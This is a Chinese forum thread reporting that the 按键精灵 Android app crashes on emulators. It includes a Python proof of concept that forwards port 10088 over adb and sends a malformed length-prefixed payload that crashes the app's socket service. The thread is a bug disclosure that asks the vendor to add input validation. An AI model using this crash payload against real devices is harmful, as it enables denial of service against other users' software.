• 按键公众号 :
按键精灵电脑版
立即下载

软件版本:2014.06
软件大小:22.9M
更新时间:2021-12-03

按键精灵安卓版
立即下载

软件版本:5.1.0
软件大小:80.6M
更新时间:2026-7-30

按键精灵iOS版
立即下载

软件版本:2.5.2
软件大小:29.2M
更新时间:2026-8-26

按键手机助手
立即下载

软件版本:5.1.0
软件大小:307M
更新时间:2026-7-30

快捷导航

登录 后使用快捷导航
没有帐号? 注册

发新话题 回复该主题

[讨论] 记一次按键精灵安卓手机版闪退排查终记 [复制链接]

1#
模拟器环境: 雷电模拟器:版本9.2.0.0+安卓9
mumu模拟器:版本6.4.6+安卓12/安卓15
故障现象:
按键精灵在运行中,每日下午15时居多,触发随机闪退。
日志:
路径:com.cyjh.mobileanjian\CrashLog\2026-xx-xx-xx-xx-xx.log


故障复现脚本运行截图:

python脚本见附件,有兴趣可以研究,建议官方针对10088端口接收内容异常进行判断,避免崩溃

2#

  1. import socket
  2. import subprocess
  3. import time

  4. # ====================== 可配置参数 ======================
  5. ADB_CONNECT_IP = "127.0.0.1" # 模拟器adb地址
  6. ADB_CONNECT_PORT = 5561 # 模拟器adb端口,MuMu默认5555+2*N
  7. FORWARD_LOCAL_PORT = 10088
  8. FORWARD_REMOTE_PORT = 10088
  9. SOCKET_TIMEOUT = 3
  10. # =======================================================


  11. def adb_connect(host: str, port: int):
  12. """执行adb connect 模拟器ip:端口"""
  13. addr = f"{host}:{port}"
  14. try:
  15. print(f"[*] 尝试adb connect {addr}")
  16. ret = subprocess.run(
  17. ["adb", "connect", addr],
  18. capture_output=True,
  19. text=True,
  20. timeout=10
  21. )
  22. stdout = ret.stdout.strip()
  23. stderr = ret.stderr.strip()
  24. print(f" adb connect输出: {stdout} {stderr}")
  25. if ret.returncode != 0:
  26. print(f"[!] adb connect失败: {stderr}")
  27. return False
  28. if "cannot connect" in stdout.lower() or "failed" in stdout.lower():
  29. print(f"[!] adb connect无法连接模拟器 {addr},确认模拟器adb端口开启")
  30. return False
  31. return True
  32. except FileNotFoundError:
  33. print("[!] 未找到adb命令,请将adb加入系统PATH")
  34. return False
  35. except subprocess.TimeoutExpired:
  36. print("[!] adb connect执行超时")
  37. return False


  38. def setup_adb_forward(local_port: int, remote_port: int):
  39. """检查并设置adb forward"""
  40. try:
  41. ret = subprocess.run(
  42. ["adb", "forward", "--list"],
  43. capture_output=True,
  44. text=True,
  45. timeout=8
  46. )
  47. if ret.returncode != 0:
  48. print(f"[!] adb查询转发失败: {ret.stderr.strip()}")
  49. return False

  50. forward_line = f"tcp:{local_port} tcp:{remote_port}"
  51. if forward_line in ret.stdout:
  52. print(f"[+] adb转发已存在: {forward_line}")
  53. return True

  54. print(f"[*] 创建adb forward tcp:{local_port} -> tcp:{remote_port}")
  55. ret2 = subprocess.run(
  56. ["adb", "forward", f"tcp:{local_port}", f"tcp:{remote_port}"],
  57. capture_output=True,
  58. text=True,
  59. timeout=8
  60. )
  61. if ret2.returncode != 0:
  62. print(f"[!] adb forward执行失败: {ret2.stderr.strip()}")
  63. return False
  64. time.sleep(0.3)
  65. print("[+] adb转发创建成功")
  66. return True
  67. except FileNotFoundError:
  68. print("[!] 未找到adb命令")
  69. return False
  70. except subprocess.TimeoutExpired:
  71. print("[!] adb命令超时")
  72. return False


  73. def exploit_10088_crash():
  74. # 第一步:adb connect连接模拟器
  75. ok_conn = adb_connect(ADB_CONNECT_IP, ADB_CONNECT_PORT)
  76. if not ok_conn:
  77. print("[!] adb连接模拟器失败,脚本退出")
  78. return

  79. # 第二步:设置端口转发
  80. ok_fwd = setup_adb_forward(FORWARD_LOCAL_PORT, FORWARD_REMOTE_PORT)
  81. if not ok_fwd:
  82. print("[!] adb forward失败,脚本退出")
  83. return

  84. host = "127.0.0.1"
  85. port = FORWARD_LOCAL_PORT

  86. # 构造崩溃payload
  87. length_header = bytes([0x00, 0x00, 0x00, 0x05])
  88. garbage_body = bytes([0x01, 0x02, 0x03, 0x04, 0x05])
  89. payload = length_header + garbage_body

  90. try:
  91. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  92. sock.settimeout(SOCKET_TIMEOUT)
  93. sock.connect((host, port))
  94. print(f"[+] 成功连接 {host}:{port}")
  95. sock.sendall(payload)
  96. print("[*] 已发送NPE崩溃payload,观察模拟器按键精灵进程是否闪退")
  97. sock.close()

  98. except ConnectionRefusedError:
  99. print("[!] 连接被拒绝!")
  100. print(" 1.模拟器内按键精灵socket服务是否启动,确认0.0.0.0:10088 LISTEN")
  101. print(" 2.按键精灵已经崩溃的话需要手动重启APP")
  102. except socket.timeout:
  103. print("[!] 连接超时,端口不可达")
  104. except Exception as e:
  105. print(f"[!] 异常: {type(e)} {e}")


  106. if __name__ == "__main__":
  107. exploit_10088_crash()
复制代码

发新话题 回复该主题